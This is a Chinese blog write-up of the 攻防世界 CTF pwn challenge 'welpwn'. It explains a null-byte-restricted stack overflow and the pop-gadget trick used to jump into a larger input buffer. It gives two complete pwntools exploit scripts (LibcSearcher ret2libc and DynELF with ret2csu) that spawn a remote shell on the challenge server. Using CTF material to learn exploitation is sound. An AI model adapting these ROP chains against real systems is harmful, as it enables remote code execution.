(攻防世界)(pwn)welpwn

首先,放在最前面:这题服务器远端的libc版本是libc-2.23.so而不是libc-2.19.so的版本(害得我编译半天出不来)

看到题目,我们下载附件,一看是个tar.gz文件,我们解压一下,发现里面有三个文件:
在这里插入图片描述
我就心想,这个攻防世界怎么就这么好心这次,以前要给的时候从来不给,这次这么大方???答案是大错特错,这就是个骗局,这个反而是个障碍,版本根本就是错的(但仔细一想,有可能是出题者故意的,考验大家 ,?。

拿到这题,查看保护,已成习惯
在这里插入图片描述
一看,基本的amd64-64位构造,没开Canary,没开地址无关PIE,就开了个NX,我们就能想到用ROP。
结果一查程序:
在这里插入图片描述
双击进去,(不仔细看以为是什么echo???)
在这里插入图片描述
双击进去,原来里面暗藏玄机,看得代码,发现这个函数是将你输入的字符复制到s2上,并且以0结束,我们可以看到距离rbp很短,很容易构成溢出,但是我们不能有\x00出现,但是,如果我们要写64位的地址,没有\x00是不可能的,所以我们就要另想办法。
还好,程序本身给我们提供了这么个好条件,我们可以看到echo函数的栈大小实在是小,只有20h
在这里插入图片描述
并且更要命的是,溢出后居然到了read函数输入的buf处,我们知道buf有0x400并且不被\x00干扰,我们就可以运用4个pop跳过0x20先,再调用通用gadget拿到shell
此题两种exp(其实还有很多种):

 #!/usr/bin/env python
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',37921)
elf=ELF('./welpwn')
obj=LibcSearcher("write",0x7f8aeec212b0)    #这个得先泄露write的地址,也就是先运行一次再加进来的。
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
prdi_addr=0x04008a3
write_plt=elf.symbols['write']
write_got=elf.got['write']
print p.recv(1024)
payload1='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)+p64(mov_addr)+'A'*56+p64(0x0400630)
payload1=payload1.ljust(1024,'C')
p.send(payload1)
write_addr=u64(p.recv(8))
print "---"+hex(write_addr)
offset=write_addr-obj.dump("write")
sys_addr=offset+obj.dump("system")
sh_addr=offset+obj.dump("str_bin_sh")
payload2='A'*24+p64(pop4_addr)+p64(prdi_addr)+p64(sh_addr)+p64(sys_addr)+p64(0x0400630)
payload2=payload2.ljust(1024,'C')
print p.recv(1024)
p.send(payload2)
sleep(1)
p.interactive()

在这里插入图片描述
真就不是libc-2.19

下面一个就是用的DynELF的方法:

#!/usr/bin/env python
from pwn import *
p=remote('111.198.29.45',41724)
elf=ELF('./welpwn')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
def leak(address):
    print p.recv(1024)
    payload1='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(address)+p64(1)+p64(mov_addr)+'A'*56+p64(start_addr)
    payload1=payload1.ljust(1024,'C')
    p.send(payload1)
    data=p.recv(8)
    #print "%x => %s" % (address, (data or '').encode('hex'))
    return data
d=DynELF(leak,elf=ELF('./welpwn'))
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
bss_addr=elf.bss()
prdi_addr=0x04008a3
print p.recv(1024)
payload2='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)+p64(mov_addr)+'A'*56+p64(prdi_addr)+p64(bss_addr)+p64(sys_addr)+'a'*8
payload2=payload2.ljust(1024,'C')
p.send(payload2)
p.sendline('/bin/sh\x00')
p.interactive()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值